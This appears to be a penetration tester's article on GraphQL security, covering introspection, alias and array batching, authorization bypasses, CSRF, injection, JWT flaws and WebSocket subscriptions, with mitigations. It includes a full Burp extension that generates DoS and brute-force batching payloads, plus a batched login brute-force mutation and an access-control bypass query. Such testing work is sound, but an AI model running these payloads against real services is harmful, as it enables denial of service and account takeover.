GraphQL Security from a Pentester’s Perspective

Introduction
GraphQL is gaining popularity as an alternative to REST, offering clients more flexibility in fetching data. However, from a security standpoint, this flexibility and the centralization of communication through a single API endpoint introduce new challenges. GraphQL applications typically rely on a single URL (e.g., /graphql) that accepts complex queries describing which data should be returned.
This architecture means that many traditional protection mechanisms—such as request filtering, per-endpoint rate limiting, or hiding unused APIs—may be less effective. Furthermore, GraphQL provides rich introspection capabilities and detailed error messages that are useful for developers—but also for potential attackers.
In this article, we focus on common vulnerabilities associated with GraphQL from a pentester’s point of view. We’ll cover how to detect the presence of GraphQL in an application, identify common weaknesses, and how they can be exploited.
We will examine, for example, how attackers can leverage introspection to enumerate the schema, how to perform GraphQL Injection (similar to SQL/NoSQL Injection), how to abuse batching mechanisms (aliases and batched queries) to carry out DoS or brute-force attacks, how authorization flaws can lead to the exposure of sensitive data, and how maliciously crafted queries (fragments, recursion, excessive depth) can result in Denial of Service.
The article will be complemented with guidance on testing these attack vectors—we’ll provide example payloads, tools (such as dedicated Burp Suite extensions, GraphQLmap, InQL, GraphQL Raider), and specific notes on popular implementations (Apollo Server, Hasura, Graphene).
Detecting GraphQL Endpoints
Common GraphQL Endpoints
The first step in testing is to determine whether the application uses GraphQL and, if so, to locate the endpoint. By default, most GraphQL implementations listen on a URI path that contains graphql or graphiql. The most commonly used endpoint is simply /graphql (sometimes /graphql/), and the interactive developer console (GraphiQL) is often available at /graphiql. Other frequently seen paths include:
- /api/graphql or /api/graphiql
- /v1/graphql or /v1/graphiql (e.g., in applications with versioned APIs)
- /graphql/console (commonly used in Hasura)
- Less commonly: /graph, /graphql.php, /graphiql.php, etc.
More comprehensive lists of known GraphQL endpoints can be found in GitHub repositories like here. In practice, automated discovery can be done via fuzzing known paths—for example, using a GraphQL-specific wordlist (which typically includes dozens of common paths).
Analyzing Application Traffic
Another method is analyzing application traffic (e.g., using browser dev tools or an intercepting proxy). If the web app uses GraphQL, you’ll often see POST requests to /graphql or similar in the Network tab of the browser’s developer console.
Manual Endpoint Verification with Queries
If you don’t have access to the traffic and want to quickly check whether a given URL supports GraphQL, you can send a simple introspection query via a URL parameter (using GET) or with a basic POST request. For instance, sending a GET request to:
https://localhost:9999/graphql?query={__schema{types{name}}}
Code language: JavaScript (javascript)
will either return a valid response (if GraphQL is active and introspection is allowed) or an error message. A typical GraphQL error response contains a key like {“errors”: […]} in JSON format—this alone is a strong indicator that GraphQL is in use.
You can also try sending a deliberately invalid query like ?query={thisdefinitelydoesnotexist} and observe the error message. If GraphQL responds with something like “cannot query field,” it further confirms its presence.
Interactive Playground (GraphiQL)
If the GraphiQL interface is accessible (e.g., at /graphiql), the case is obvious—this interactive “playground” for GraphQL immediately reveals the API schema and allows queries to be executed directly from the browser.
GraphQL Introspection and Schema Enumeration
One of the most powerful features of GraphQL—from an attacker’s perspective—is introspection. Introspection is the built-in capability of a GraphQL API to return information about its own schema: available types, fields, queries, mutations, subscriptions, and more.
Developers commonly use introspection to generate documentation or power tools like GraphiQL or Playground. Unfortunately, if introspection is left enabled on a public production API, an attacker can extract a full description of the API, which significantly facilitates further attacks.
PortSwigger highlights that leaving introspection enabled is a frequent security oversight, allowing attackers to “pull” the entire schema and gain a deep understanding of the data structures and operations exposed by the API.
How does introspection work?
GraphQL defines special fields that begin with double underscores (__). The two most important ones are __schema and __type. A query such as:
{ __schema { ... } }
returns the structure of the entire schema—including all types, fields, arguments, and so on—while:
{ __type(name: "TypeName") { ... } }
Code language: JavaScript (javascript)
returns detailed information about a specific type.
In most cases, it’s sufficient to perform a so-called full introspection query. This is a comprehensive query defined by the creators of GraphQL, designed to return a complete description of the API: a list of types, their fields, the types of those fields, accepted arguments, and more.
Here’s an example of such a query in decoded form:
POST /graphql HTTP/1.1
Host: myhost
Content-Type: application/json
Content-Length: 762
{"variables": {}, "query": "{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}", "operationName": null}
Code language: HTTP (http)
One particularly convenient tool for testing GraphQL endpoints is the InQL extension for Burp Suite. Once a target GraphQL endpoint is provided, InQL automatically performs introspection (if enabled) and enumerates all available queries, mutations, and types in a structured interface.

Moreover, the extension allows for immediate interaction with the API by sending requests directly to the Burp Repeater. It also includes an option for performing a Batch Attack, although this feature is still somewhat experimental and may not work reliably in all cases.
In an ideal scenario, introspection should be disabled on publicly accessible production APIs—especially when the API is not intended for public clients. Some platforms allow introspection to be restricted to specific roles—for example, Hasura provides the ability to block introspection for certain user roles.
However, if introspection is not fully disabled, a penetration tester can take advantage of it to obtain a roadmap for further testing.
Schema Enumeration Without Introspection: What If Introspection Is Disabled?
Even when introspection is turned off, there are still ways to enumerate the schema. GraphQL tends to return verbose error messages and suggestions. For instance, if we query a non-existent field, the server often provides suggestions for similarly named fields (so-called “field suggestions”).
For example, the query query
{ ussr { id } }
(a typo in the word “user”) might return an error like:
“Cannot query field ‘ussr’… Did you mean ‘user’?”
This allows an attacker to infer the existence of the user field – even without introspection enabled. These suggestions can leak parts of the schema (field and type names) unless the application is properly configured to suppress such messages in production environments.
Another technique is field and type fuzzing, where an attacker uses lists of common names (e.g., user, username, admin, password, search, createUser, etc.) and observes the resulting error responses.
There are tools that automate this process, such as Clairvoyance which can guess parts of the GraphQL schema through trial-and-error methods, even when introspection is disabled.
Batching and Query Aliasing in GraphQL
GraphQL’s batching mechanisms allow multiple operations to be executed within a single HTTP request. There are two primary batching techniques that can be abused by attackers:
Array Batching (Batching Lists)
This method involves sending a JSON array of multiple GraphQL queries or mutations in a single HTTP request. If supported by the server, each operation in the array will be executed, and a corresponding array of responses will be returned. Example batch request:
[
{"query": "{ firstQuery { ... } }"},
{"query": "{ secondQuery { ... } }"},
{"query": "{ thirdQuery { ... } }"}
]
Code language: JSON / JSON with Comments (json)
This replaces, for example, three separate /graphql requests with a single request containing three operations.
Alias Batching
GraphQL allows fields to be assigned aliases, enabling the same resolver to be called multiple times within a single operation. This makes it possible to include multiple “instances” of the same field or mutation in one query or mutation block.
A classic example is password brute-forcing: instead of sending 100 individual login requests, an attacker can send a single GraphQL mutation that calls the login field 100 times—each with a different password and a unique alias. For example:
mutation {
login(pass: "test", username: "admin")
second: login(pass: "test2", username: "admin")
third: login(pass: "test3", username: "admin")
fourth: login(pass: "test4", username: "admin")
}
Code language: JavaScript (javascript)
Here, the login mutation is executed four times within one HTTP request. Aliasing also works for query operations—for instance, to check the validity of multiple promo codes in one go.
Why Is This Dangerous?
Batching and aliasing were originally intended to optimize performance by reducing the number of HTTP requests. However, from an attacker’s perspective, they offer an opportunity to significantly increase the intensity of operations—without triggering traditional defensive mechanisms.
Bypassing Rate Limiting
Many APIs limit the number of HTTP requests per second per IP. For example, if a limit is set to 10 requests/second, an attacker could normally attempt 10 password guesses per second. But by using batching or aliases, they can bundle 100 login attempts into a single request—bypassing the rate limit entirely. As PortSwigger materials point out, aliasing effectively allows multiple operations within a single HTTP message, thereby circumventing request-based limits.
Vaadata provides a concrete scenario: if the limit is 10 req/s and an attacker sends a request with 100 login attempts using aliases, the server registers only one request—but processes 100 operations.
By sending multiple such batched requests in parallel, the effect scales exponentially (e.g., 100 requests * 100 aliases = 10,000 operations, while appearing as only 100 HTTP requests).
Denial of Service (DoS)
Processing numerous operations in a single request puts significantly more load on the server than a single query would. Sending extremely large batches (hundreds or thousands of operations in one request) can occupy server threads longer or even exhaust the thread pool. Even with per-IP rate limiting, an attacker can rotate IPs or take advantage of a server’s lack of constraints on request complexity.
This kind of abuse has previously led to real vulnerabilities—for instance, older versions of Apollo Server did not impose operation count limits. As a result, Apollo Server v4 disables array batching by default. However, other platforms like Apollo Gateway or Hasura may still support it.
Circumventing 2FA and Lockout Mechanisms
Some systems invalidate a 2FA code or enforce a cooldown period after a few failed attempts. But if an attacker sends multiple 2FA verification attempts within a single GraphQL request using aliases, the backend may process each attempt independently—before recognizing multiple failures.
For instance, if a backend allows three tries for a 2FA code, the attacker can send ten verifyCode mutations in one GraphQL request, each with a different code. Depending on implementation, this might bypass account protection measures.
Real-World Case: CVE-2024-50311
Attacks of this kind are not just theoretical. During a security assessment conducted by Maksymilian Kubiak, Sławomir Zakrzewski, and myself (Paweł Zdunek), we discovered that the OpenShift application was vulnerable to a Denial-of-Service attack via alias batching. This vulnerability was assigned CVE-2024-50311.
Tooling and Limitations
The easiest way to test for such vulnerabilities would be using the InQL extension for Burp Suite. However, as mentioned earlier, at the time of writing this article, the batch attack functionality in InQL is not fully mature.
Due to the syntactic flexibility of GraphQL, this feature can occasionally fail to generate valid payloads. For example, while testing against the Damn Vulnerable GraphQL Application (DVGA), I encountered recurring errors such as:
[W][Attacker.kt:156 :: Attacker.generateAttackRequest()] Cannot find SelectionSet ("{ }") block in query id password username(capitalize: Boolean)
[E][Attacker.kt:230 :: Attacker.actionPerformed()] Failed generating attack request
Code language: CSS (css)
Because of these limitations, I decided to create and share a simple custom extension focused on performing alias batching and array-based attacks in a more stable and reliable manner.
from burp import IBurpExtender, IContextMenuFactory
from javax.swing import JMenu, JMenuItem, JOptionPane
import json
import re
class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("GraphQL DoS Payload Generator")
callbacks.registerContextMenuFactory(self)
print("=====================================================")
print(" Invoker - by Pawel Zdunek (AFINE)")
print("=====================================================")
def createMenuItems(self, invocation):
self._invocation = invocation
menu = JMenu("GraphQL DoS Attacks")
menu.add(JMenuItem("Generate Alias-based Batching", actionPerformed=lambda x: self.generate_alias_batching()))
menu.add(JMenuItem("Generate Array-based Batching", actionPerformed=lambda x: self.generate_array_batching()))
menu.add(JMenuItem("Run Introspection Query", actionPerformed=lambda x: self.generate_introspection_query()))
return [menu]
def get_selected_request(self):
return self._invocation.getSelectedMessages()[0]
def parse_request_json(self, request_response):
request_info = self._helpers.analyzeRequest(request_response)
body_bytes = request_response.getRequest()[request_info.getBodyOffset():]
body = body_bytes.tostring()
try:
json_body = json.loads(body)
return json_body, request_info.getHeaders()
except Exception as e:
print("[!] JSON parse error:", str(e))
return None, None
def rebuild_headers(self, headers, new_body_len):
new_headers = list(headers)
for i, h in enumerate(new_headers):
if h.lower().startswith("content-length:"):
new_headers[i] = "Content-Length: {}".format(new_body_len)
return new_headers
def extract_operation_type(self, query):
match = re.match(r'\s*(query|mutation|subscription)', query)
if match:
return match.group(1)
return "query"
def extract_inner_block(self, query):
start = query.find('{')
end = query.rfind('}')
if start == -1 or end == -1:
return None
return query[start + 1:end].strip()
def inline_variables(self, query, variables):
def replacer(match):
var_name = match.group(1)
if var_name not in variables:
return match.group(0)
val = variables[var_name]
if isinstance(val, bool):
return "true" if val else "false"
elif isinstance(val, (int, float)):
return str(val)
else:
return json.dumps(val)
return re.sub(r'\$([a-zA-Z_][a-zA-Z0-9_]*)', replacer, query)
def generate_alias_batching(self):
request_response = self.get_selected_request()
json_body, headers = self.parse_request_json(request_response)
if not json_body or "query" not in json_body:
print("[!] Invalid GraphQL body for alias batching")
return
num = JOptionPane.showInputDialog("Enter number of aliases (default: 10):")
try:
alias_count = int(num)
except:
alias_count = 10
query = json_body["query"]
variables = json_body.get("variables", {})
operation_type = self.extract_operation_type(query)
inlined_query = self.inline_variables(query, variables)
inner_block = self.extract_inner_block(inlined_query)
if not inner_block:
print("[!] Could not extract inner GraphQL block")
return
batched_query = "{} {{\n".format(operation_type)
for i in range(alias_count):
batched_query += " alias{}: {}\n".format(i, inner_block)
batched_query += "}"
new_payload = {
"operationName": None,
"variables": {},
"query": batched_query
}
new_body = json.dumps(new_payload)
new_headers = self.rebuild_headers(headers, len(new_body))
new_request = self._helpers.buildHttpMessage(new_headers, new_body.encode("utf-8"))
request_response.setRequest(new_request)
print("[*] Alias-based batching applied with {} aliases.".format(alias_count))
def generate_array_batching(self):
request_response = self.get_selected_request()
json_body, headers = self.parse_request_json(request_response)
if not json_body or "query" not in json_body:
print("[!] Invalid GraphQL body for array batching")
return
num = JOptionPane.showInputDialog("Enter number of array items (default: 10):")
try:
item_count = int(num)
except:
item_count = 10
query = json_body.get("query", "")
variables = json_body.get("variables", {})
operation_name = json_body.get("operationName", None)
batch = []
for i in range(item_count):
batch.append({
"operationName": operation_name,
"variables": variables,
"query": query
})
new_body = json.dumps(batch)
new_headers = self.rebuild_headers(headers, len(new_body))
new_request = self._helpers.buildHttpMessage(new_headers, new_body.encode("utf-8"))
request_response.setRequest(new_request)
print("[*] Array-based batching applied with {} entries.".format(item_count))
def generate_introspection_query(self):
request_response = self.get_selected_request()
_, headers = self.parse_request_json(request_response)
introspection_query = {
"query": "{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}",
"variables": {},
"operationName": None
}
new_body = json.dumps(introspection_query)
new_headers = self.rebuild_headers(headers, len(new_body))
new_request = self._helpers.buildHttpMessage(new_headers, new_body.encode("utf-8"))
request_response.setRequest(new_request)
print("[*] Introspection query applied.")
Code language: Python (python)
To use the script, simply copy the code above and save it as graphql_batch_attack.py (or any other name you prefer), then import it into Burp Suite.
Once imported, navigate to the Repeater tab and select any request targeting a GraphQL endpoint. Right-click on the request and choose the desired option—for example, Generate Alias-Based Batching. A prompt will appear asking you to specify the number of aliases to generate. The higher the number, the greater the server load, but make sure not to exceed the server’s maximum request size limit, as this could result in an error.



After confirming, the request will automatically update to the desired batched format. You can then use this request in Intruder, Turbo Intruder, dosfiner.go, or any other suitable tool to perform a DoS attack, brute-force attack, or similar tests.
Authorization and Access Control Issues in GraphQL
Broken or missing authorization is the most common class of vulnerabilities in GraphQL. According to various analyses, approximately 54% of known GraphQL vulnerabilities are related to access control flaws. This is largely due to the fact that GraphQL does not enforce any built-in authorization mechanism at the schema level.
Responsibility for access control lies entirely with developers and how the backend is configured. In practice, this makes it easy to introduce mistakes—if even a single resolver fails to properly enforce permissions, users may gain access to sensitive data or functionality.

Common Authorization Flaws in GraphQL:
Unrestricted Field Access (Field-Level Authorization)
Consider a schema that includes a field like Query.adminStats, intended for administrative use only. The application might assume only administrators will ever call this field. However, if role checks are not implemented at the resolver level, any authenticated—or worse, unauthenticated—user could access it.
Introspection makes it even easier by revealing the existence of such fields. Even without introspection, attackers might guess sensitive fields like isAdmin or role in the User object. If not filtered properly, these fields can be retrieved. It’s not uncommon to find leftover fields from deprecated authorization systems—no longer used by the frontend but still exposed by the backend and lacking proper access checks.
Lack of Access-Level Differentiation for Operations
Similar to the issue above but at the mutation/query level. For example, a mutation like deleteUser(id: ID!) should be accessible only to admins. If developers forget to enforce this restriction, regular users could potentially delete arbitrary accounts, provided they know the ID. GraphQL also complicates hiding such operations, since everything resides under a single endpoint.
While some systems separate admin and client schemas or servers, many use a monolithic schema with both administrative and user-level operations—making proper authorization checks critical.
Improper Authorization Logic
Sometimes developers implement naive authorization models, such as whitelisting operations based on operation names. A notable example was described by Vaadata: an app defined access control rules based on GraphQL operation names.
For instance, an unauthenticated user could perform getPastes but not systemHealth. However, GraphQL allows fetching multiple fields in a single query. If the implementation checks only the operation name and not the fields, the following query could bypass access control:
query getPastesBypass {
getPastes { id title }
systemHealth { status uptime }
}
Despite not being authorized to access systemHealth, the attacker still receives that data—because the authorization logic only validated the operation name (getPastes) and ignored the fields being queried.
This highlights a unique risk in GraphQL: a single query can return both public and private data if field-level access control is not properly enforced.
Real-World Example: Snapchat (HackerOne Report #1819832)
In 2023, a critical vulnerability in Snapchat’s GraphQL API was disclosed via HackerOne. The issue was an IDOR (Insecure Direct Object Reference) in the deleteStorySnaps mutation. By providing the ID of another user’s snaps, an attacker could delete them without authorization.
The resolver failed to verify ownership of the resource. Importantly, access to this resolver was not restricted by schema-level authorization controls. This demonstrates how even large, mature platforms can introduce critical design flaws in their GraphQL implementations. The bug bounty awarded for this finding was $15,000.
Testing Authorization in GraphQL
Authorization testing in GraphQL follows classic methodologies. Start with a low-privileged account and attempt to access all available queries, mutations, and fields—typically discovered via introspection.
Then compare the results with a high-privileged account or available documentation to determine whether unauthorized data or operations are accessible. It’s also important to test completely unauthenticated access (e.g., no token), as APIs may unintentionally expose functionality to anonymous users (e.g., registration endpoints or public data queries).
Authorization flaws in GraphQL are especially critical, as they often lead to privilege escalation, data leaks, or unauthorized functionality access—all of which can have serious security implications.
CSRF and GraphQL – Threats and Mitigations
Cross-Site Request Forgery (CSRF) remains a relevant threat to GraphQL applications if proper safeguards are not in place. Although GraphQL commonly uses a JSON request body—which offers some protection—it does not inherently prevent CSRF. Many GraphQL server implementations still accept alternative content types or even GET requests, which can reintroduce CSRF risks.
If the API allows state-changing operations (mutations) via GET requests, a malicious website could embed an image tag or script that triggers a GraphQL request to the vulnerable endpoint.
When a victim visits the malicious page, the browser may automatically perform the request and attach the victim’s credentials (e.g., session cookies). As a result, an attacker can force authenticated users to execute unintended GraphQL actions within their session context.
It’s important to note that the exploitability of CSRF depends on several factors, including:
• The authorization mechanism used (e.g., session cookies vs. JWT in headers),
• The presence and configuration of browser protections, such as the SameSite cookie attribute.
Testing GraphQL for CSRF Vulnerabilities
From a pentester’s perspective, CSRF testing in GraphQL involves verifying whether requests can be sent cross-origin without user interaction. There are a few effective methods:
- HTML Form PoC – Create a simple HTML form that submits a GraphQL mutation using hidden fields, particularly if the server accepts application/x-www-form-urlencoded or multipart/form-data.
- GET-based PoC – If the API accepts mutations via GET, embed the crafted GraphQL query in a URL and load it via an <img> or <script> tag on an attacker-controlled page.
If such requests succeed—for example, by altering the victim’s data—this indicates that CSRF protections are missing or insufficient.
Mitigations
To effectively protect GraphQL APIs from CSRF, the following measures should be implemented:
- Enforce POST for mutations, and reject all state-changing operations via GET.
- Use anti-CSRF tokens for session-based authentication.
- Validate headers such as Origin and Referer to ensure requests originate from trusted domains.
- Set the SameSite attribute on session cookies (SameSite=Strict or Lax) to prevent them from being sent cross-origin.
- Disable support for non-JSON content types unless absolutely necessary.
Tools like Burp Suite can automatically generate CSRF PoCs for GraphQL queries and mutations, which simplifies confirmation of vulnerabilities in controlled environments.
Properly implementing these controls ensures that GraphQL APIs are resilient to CSRF attacks, even in complex real-world deployments.
Injection Attacks in GraphQL APIs
GraphQL, at the backend level, is simply another API interface—ultimately, GraphQL queries interact with databases or internal services just like REST APIs. As a result, traditional server-side vulnerabilities such as SQL Injection, Command Injection, XSS, and others are still possible.
The main difference lies in the syntax and the entry point of the malicious payload. Poor implementation of resolvers can lead to various types of injection attacks, including some less obvious ones:
• SQL Injection – Attackers can inject malicious SQL through parameters passed in a GraphQL query. If a resolver constructs SQL queries by concatenating user-provided input (rather than using parameterized queries), it may be vulnerable.
• NoSQL Injection – Similar to SQLi, this occurs in NoSQL databases like MongoDB. If input is not properly sanitized, attackers can inject raw JSON structures or special operators (e.g., $ne, $gt) to alter query logic. For instance, passing {“$ne”: null} instead of a regular string can bypass authentication filters or access controls.
• Server-Side Template Injection (SSTI) – SSTI involves injecting template syntax into server-side rendering engines. If a resolver uses a template engine (e.g., for generating emails, PDFs, or HTML pages) and inserts unsanitized user input into the template.
• Server-Side Request Forgery (SSRF) – In SSRF, an attacker tricks the server into making unauthorized HTTP requests. In GraphQL, this typically happens when a resolver accepts a URL as input and fetches the resource without validating the domain.
• Remote Code Execution (RCE) via Resolvers – RCE can occur when user input is passed into dangerous server-side functions. Examples include using eval() on a user string, executing system commands via exec() or system(), or dynamically importing modules or file paths from user input. Without proper validation, an attacker could inject shell commands or code that gets executed on the server.
Commonly Vulnerable Areas in GraphQL
In practice, the following areas are especially susceptible to injection vulnerabilities:
- Mutations accepting dynamic user input
- File upload operations (e.g., when file names or paths are used in system calls)
- Resolvers that interface with system functions, command execution, or templating engines
For example, a resolver that executes exec(“git pull ” + userInput) is trivially vulnerable to RCE. A mutation that accepts a URL for downloading a file could be abused for SSRF if the domain isn’t validated.
In short, GraphQL does not inherently prevent backend vulnerabilities—it merely changes how the data is structured and transmitted. Without proper input validation, sanitization, and secure coding practices, GraphQL APIs remain vulnerable to the same injection risks as traditional REST APIs.
Common JWT Mistakes in GraphQL Applications
Using the “none” Algorithm
Accepting JWTs with the alg field set to “none” (i.e., no signature) allows an attacker to forge a valid token without needing a signing key. By simply changing the alg header to “none” and removing the signature, some poorly implemented libraries may still treat the token as valid—completely bypassing authentication.
HS256/RS256 Algorithm Confusion
This vulnerability arises when the application expects a token signed using RSA (RS256) but does not properly verify the algorithm type. An attacker can switch the algorithm to HMAC (HS256) and sign the token using the public RSA key as a symmetric secret.
If the implementation doesn’t validate the algorithm or enforce the expected key type, it may accept the forged token as valid—allowing the attacker to craft arbitrary JWTs and impersonate users.
Missing Signature Verification
If the application decodes JWTs without verifying the signature (e.g., using a decode-only function instead of a proper verification function), it becomes trivial to tamper with the token’s payload. An attacker can modify claims such as userId, role, or permissions, and still gain unauthorized access. This represents a critical flaw in JWT session handling.
No Expiration or Broken Refresh Logic
Tokens without an expiration (exp) claim never expire, making them dangerous if leaked. Improper refresh token logic can also introduce risks—such as allowing the same token to be refreshed indefinitely, or failing to revoke old tokens after a new one is issued. A secure implementation should:
- Assign tokens a reasonable lifetime,
- Reject expired tokens,
- Properly manage the refresh process to prevent indefinite session hijacking.
Common Security Risks in GraphQL WebSocket Subscriptions
GraphQL subscriptions introduce new attack surfaces due to their stateful, long-lived nature. A pentester should be aware of the following common risks and attack vectors when assessing GraphQL-over-WebSocket endpoints:
Authentication & Authorization Flaws
Lack of proper authentication – If the WebSocket connection does not validate identity properly (e.g., no JWT, only cookies), the session may be hijacked. An attacker can open a WebSocket in the context of an authenticated user and send GraphQL queries or subscriptions, receiving sensitive data. This two-way hijack (Cross-Site WebSocket Hijacking) is more dangerous than classic CSRF because it allows reading responses too.
Broken or missing authorization – Authentication alone is not enough—the server must enforce authorization checks for each subscription event. Past bugs (e.g., in Directus) exposed unauthorized users to real-time updates they shouldn’t see (CVE-2023-38503). In some misconfigurations, unauthenticated users were granted full GraphQL access over WebSocket.
Even when initial authentication is done, consider session lifetime and revocation. If a user’s permissions change or their session is revoked, does the GraphQL subscription disconnect or downgrade accordingly? In some implementations, once the WebSocket is authenticated, the server might not re-check auth on each message or event. This can create a window where a user continues to receive data after their privileges are revoked.
A recent bug bounty report on Shopify’s GraphQL subscriptions demonstrated a broken access control: a user’s WebSocket connection remained live briefly after their role was removed, allowing them to continue executing GraphQL operations in that short window.
Message Tampering & Injection
Because WebSockets allow ongoing communication, messages in transit and their content become a target. Message tampering refers to altering the data sent between client and server. In a properly secured setup using wss:// (WebSockets over TLS), the traffic is encrypted just like HTTPS, preventing eavesdropping or alteration by a network attacker.
However, if the connection is not encrypted (ws://) or the client doesn’t verify the server’s certificate, an attacker could perform a Man-in-The-Middle attack to intercept or inject messages.
A notable example was a vulnerability in the Altair GraphQL client (CVE-2024-54147), where the desktop app failed to validate HTTPS certificates for its WebSocket connections, allowing a MITM attacker to read or modify all GraphQL queries and responses, including subscriptions.
Beyond transport security, consider GraphQL injection and malicious messages at the application level. GraphQL subscription messages are typically JSON payloads that the server parses and executes. If developers build these payloads unsafely or the server doesn’t strictly validate them, an attacker could craft inputs to exploit the system.
For instance, if user-controllable data is embedded in a subscription query string on the server side, it could lead to injection (though in most cases clients send the full query themselves, so this is less about classic “injection” and more about sending unintended queries). Still, an attacker can attempt to modify subscription queries or variables to escalate privileges or extract data.
Denial-of-Service (DoS) via Persistent Connections
The long-lived nature of WebSocket connections introduces unique DoS considerations. Unlike stateless HTTP, a single client could keep resources occupied on the server for extended periods. Persistent connections consume memory and file descriptors; an attacker might open a large number of WebSocket connections to exhaust server resources. If the GraphQL subscription implementation doesn’t limit concurrent connections per client or doesn’t have idle timeouts, it could be vulnerable to simple resource exhaustion.
A malicious user could also subscribe to resource-intensive operations — for example, a subscription that triggers heavy database work on each update could be abused by opening many such subscriptions or causing frequent events to fire. This is analogous to sending expensive GraphQL queries repeatedly, but amplified by the push model – once subscribed, the server might be doing work continuously.
We’ve already seen how malformed messages can cause DoS (e.g. the Mercurius CVE). Another angle is flooding the server with legitimate subscription messages. WebSockets allow rapid message exchange without the overhead of HTTP request/response, which can make it easier to overwhelm the backend if rate limiting is absent.
For example, if an attacker bypasses any client-side rate limits, they could send a barrage of start requests to initiate numerous subscriptions or send large subscription queries that consume lots of CPU to parse and execute.
In GitLab’s GraphQL API, there was a known issue (CVE-2023-0921) where an extremely large GraphQL query (in that case, a huge issue description) could spike CPU usage when repeatedly requested . Over WebSockets, an attacker could potentially reuse a single connection to send such costly queries in a loop, avoiding some of the overhead that might trigger network-layer defenses.
Token Refresh & Session Invalidation Challenges
Handling long-lived sessions means dealing with changing authentication state. One challenge with WebSocket subscriptions is token expiration. If a JWT or auth token is used at connection time, it might expire while the connection is still open. Without a mechanism to refresh or re-authenticate, the server could unknowingly continue serving an expired or even revoked session.
From an attacker’s perspective, if they compromise a token, they might keep a connection alive indefinitely to maintain access even after the token’s normal expiry.
Conversely, if a user logs out, but the application doesn’t close their active WebSocket, an attacker who hijacked that WebSocket (or the user themselves, if malicious) might continue to receive data.
Some GraphQL implementations address this by actively closing or revalidating connections. For example, Directus’s real-time GraphQL API will terminate the WebSocket with a Forbidden error when the token expires, signaling the client to reconnect with a new token . This is a good practice because it ensures that a long-lived subscription cannot silently outlast the user’s authorized session.
Another scenario is session invalidation – say an administrator revokes a user’s access or password. With stateless HTTP, that user’s next request would fail authorization. But with an active WebSocket, if the server doesn’t have a push mechanism to drop or downgrade sessions, the user (or attacker with that user’s connection) could potentially continue to receive updates.
This was essentially what the Shopify subscription bug illustrated: a user’s permissions were revoked server-side, but their existing subscription connection remained active just long enough to perform unauthorized actions .
In a pentest, you might test what happens if you keep a WebSocket open while your user account is disabled or your role is changed – does the server immediately cut you off or do messages keep flowing?
Securing GraphQL Subscriptions: Best Practices
Defending GraphQL-over-WebSocket endpoints requires a mix of traditional API security hardening and WebSocket-specific measures. Here are some best practices to keep in mind:
Enforce Authentication on Connection
Do not allow unauthenticated clients to open subscription connections unless absolutely necessary. Use the WebSocket connection initiation (connection_init) to require auth tokens or credentials and validate them server-side before acknowledging . If your GraphQL library supports an auth handshake (like Apollo’s connectionParams or a custom “auth” message), implement it. Never rely solely on cookies for WebSocket auth; if you do, treat the upgrade like a state-changing request and implement CSRF protections or check the Origin header
Implement Robust Authorization Checks
Just as you would protect REST endpoints or GraphQL queries, ensure that each subscription resolver enforces the user’s permissions. Subscriptions often involve publishing events to clients – integrate authorization in that publish/subscribe flow. For example, if a user subscribes to orderUpdated events, the server should verify for each event that the user is allowed to see that order.
Use Secure Transport (WSS)
Always serve WebSockets over TLS (wss://), just as you would enforce HTTPS . This ensures encryption and integrity for the subscription data. Additionally, the server’s TLS certificate should be valid and properly verified by clients (addressing issues like the Altair client bug). If you provide a GraphQL client or use a third-party one, make sure it doesn’t skip cert validation. Using WSS also helps prevent easy observation or tampering with messages, raising the bar for attackers.
Validate and Limit Messages
Apply strict schema validation to incoming subscription messages. The GraphQL query within should undergo the same validation as any query over HTTP – including depth limits, complexity analysis, and input sanitization . Non-conforming message types or unexpected payload fields should be rejected. Set a maximum message size to prevent gigantic payloads from being sent (which could be used for JSON parsing attacks or memory exhaustion).
Rate Limit and Throttle Events
Introduce rate limiting on both the inbound and outbound side. Inbound: limit how frequently a client can attempt to (re)connect or send subscription requests, to mitigate brute-force or spam. Outbound: if a client subscribes to a popular event (say a busy chat room), consider mechanisms to avoid sending an overwhelming volume of messages – for instance, batch updates or drop packets if the client can’t keep up.
Manage Connection Lifecycle
Design your server to handle long-lived connections safely. Implement keep-alive pings and timeouts – if a client goes silent or fails to respond to pings, terminate the connection to free resources. More importantly, handle token expiration and logout events. If using JWTs, you could tie the token’s TTL to the WebSocket’s maximum allowed duration. Some systems will proactively close a connection when the token expires, prompting a re-authentication .
Secure the Handshake
The initial WebSocket HTTP handshake is an opportunity to enforce security. Configure the server to check the Origin header and only accept upgrades from trusted origins (to prevent CSWSH). Also, require the proper subprotocol; if your server expects the “graphql-ws” protocol and a client doesn’t specify it, consider rejecting the connection – this can reduce the risk of non-GraphQL clients connecting. Any optional headers (like Sec-WebSocket-Protocol) should be validated. Essentially, treat the handshake as you would an OAuth or API key check – nothing should proceed if the request is suspicious or unauthorized.
Monitoring and Logging
Finally, ensure you have visibility into your subscription system. Logging subscription start/stop events, authentication attempts, and unusual message patterns will help detect attacks. For example, multiple failed connection_init with bad tokens may indicate someone trying to brute force a token or use expired credentials.
Summary
GraphQL introduces a unique set of security risks. This article explored the most common vulnerabilities found in GraphQL implementations—from schema disclosure via introspection, to batching and alias-based DoS/brute-force attacks, injection flaws, access control issues, JWT misconfigurations, and vulnerabilities in WebSocket subscriptions.
Key takeaways:
- GraphQL does not enforce authorization by default—each resolver must be secured individually.
- Introspection reveals the entire API schema—should be disabled in production environments.
